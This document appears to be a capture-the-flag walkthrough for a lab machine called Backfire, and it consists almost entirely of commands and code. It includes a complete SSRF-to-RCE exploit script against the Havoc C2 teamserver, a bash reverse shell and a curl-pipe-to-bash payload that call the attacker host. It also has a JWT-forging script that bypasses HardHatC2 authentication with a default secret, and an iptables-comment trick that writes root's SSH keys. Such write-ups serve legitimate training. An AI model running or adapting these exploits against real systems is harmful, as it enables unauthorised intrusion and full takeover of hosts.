Backfire

ports=$(nmap -p- --min-rate=5000 10.129.217.79 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p $ports -sV -sC 10.129.217.79

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();
     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();
     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
                }
                // start the teamserver
-               if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+               if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
                        logger.Error("Failed to start websocket: " + err.Error())
                }

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

python3 -m http.server 80

python3 exploit.py -t https://10.129.202.126 -i 10.10.14.24 -p 80

import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
urllib3.disable_warnings()

from Crypto.Cipher import AES
from Crypto.Util import Counter

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):

    if len(key) <= key_bytes:
        for x in range(len(key),key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    # DEMON_INITIALIZE / 99
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data =  b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id

    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"

    # SOCKET_COMMAND_OPEN / 16
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"

    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"


    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")

# Add message param
def write_socket(socket_id, data, message):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"

    # SOCKET_COMMAND_READ / 11
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"

    # SOCKET_TYPE_CLIENT / 3
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand+socket_id+socket_type+success+data_length+data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data

    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    # COMMAND_GET_JOB / 1
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""


    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]

# Create functions
def create_websocket_request(HOST, PORT):
    request = (
        f"GET /havoc/ HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
        ).encode()
    return request

def build_websocket_frame(payload):
    payload_bytes = payload.encode("utf-8")
    frame = bytearray()
    frame.append(0x81)
    payload_length = len(payload_bytes)
    
    if payload_length <= 125:
        frame.append(0x80 | payload_length)
    elif payload_length <= 65535:
        frame.append(0x80 | 126)
        frame.extend(payload_length.to_bytes(2, byteorder="big"))
    else:
        frame.append(0x80 | 127)
        frame.extend(payload_length.to_bytes(8, byteorder="big"))

    masking_key = os.urandom(4)
    frame.extend(masking_key)
    masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
    frame.extend(masked_payload)
    
    return frame

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()


# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
        "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056

# Authenticate to teamserver
message="[***] Establishing connection to teamserver ..."
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request,message)

message="[***] Authenticating to teamserver ..."
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame,message)

# Create listener
message="[***] Creating Listner ..."
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame, message)

# SSRF Payload RCE
message="[***] Injecting Command ..."
cmd = "curl http://10.10.14.24/shell.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame,message)

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.24/1234 0>&1' > shell.sh

cmd = "curl http://10.10.14.24/shell.sh | bash"

nc -lvnp 1234

python3 exploit.py -t https://10.129.202.126 -i 127.0.0.1 -p 40056

ssh-keygen

Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519): 
Created directory '/root/.ssh'.
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:+EuS+N0XcGJY9NyTeu4xP3ewNbjXO3W4WuGZjC9EtPw root@kali
The key's randomart image is:
+--[ED25519 256]--+
|         ..      |
|          .o.. . |
|         o oo.+  |
|       .. + =. . |
|      . S. =..+. |
|     . o    oBE=+|
|    . o o  ...@==|
|     . + o  o=oB+|
|      . o ...o+.B|
+----[SHA256]-----+

cat ~/.ssh/id_ed25519.pub

ilya@backfire:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzGW2j/Ow31DFqeZKG/mAdVl4AxLAXsXibisftIWkOr root@kali' > /home/ilya/.ssh/authorized_keys

ssh ilya@backfire.htb

Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Dec 17 11:30:51 2024 from 10.10.14.24
ilya@backfire:~$

ilya@backfire:~$ ls -la
ls -la
total 40
drwx------  5 ilya ilya 4096 Dec 12 10:14 .
drwxr-xr-x  4 root root 4096 Sep 28 20:05 ..
lrwxrwxrwx  1 root root    9 Dec 12 10:14 .bash_history -> /dev/null
-rw-r--r--  1 ilya ilya  220 Sep 27 16:43 .bash_logout
-rw-r--r--  1 ilya ilya 3526 Sep 27 16:43 .bashrc
drwxr-xr-x  2 root root 4096 Sep 30 07:39 files
-rw-r--r--  1 root root  174 Sep 28 23:02 hardhat.txt
drwxr-xr-x 10 ilya ilya 4096 Sep 27 19:18 Havoc
-rw-r--r--  1 ilya ilya  807 Sep 27 16:43 .profile
drwxr-xr-x  2 ilya ilya 4096 Jan 21 12:07 .ssh
-rw-r-----  1 root ilya   33 Jan 20 00:33 user.txt
ilya@backfire:~$ cat hardhat.txt
cat hardhat.txt
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C# 
ilya@backfire:~$

netstat -putona

ssh ilya@backfire.htb -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096

import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
    "sub": "HardHat_Admin",  
    "jti": str(uuid.uuid4()),
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
    "iss": issuer,
    "aud": issuer,
    "iat": int(now.timestamp()),
    "exp": int(expiration.timestamp()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sergej' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
  "Authorization": f"Bearer {token}",
  "Content-Type": "application/json"
}
burp0_json = {
  "password": "sergej",
  "role": "TeamLead",
  "username": "sergej"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

python3 auth-bypass.py 2>/dev/null

Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiNDdjMzg3OWUtNjk3Ny00ZTcxLThiZDUtYjUwYTVlMDQxNzQ2IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc1NTMzNjIsImV4cCI6MTczOTk3MjU2MiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.uBEENTNAuZ9FA_aJG_FTi0zBj5_B62ZpZww5UW-ISe0
User sergej created

https://127.0.0.1:7096/

https://127.0.0.1:7096/ImplantInteract

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzGW2j/Ow31DFqeZKG/mAdVl4AxLAXsXibisftIWkOr root@kali' > /home/sergej/.ssh/authorized_keys

ssh sergej@backfire.htb 

Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$ id
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)

sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzGW2j/Ow31DFqeZKG/mAdVl4AxLAXsXibisftIWkOr root@kali\n'

sudo iptables -S

sudo iptables-save -f /root/.ssh/authorized_keys

ssh root@backfire.htb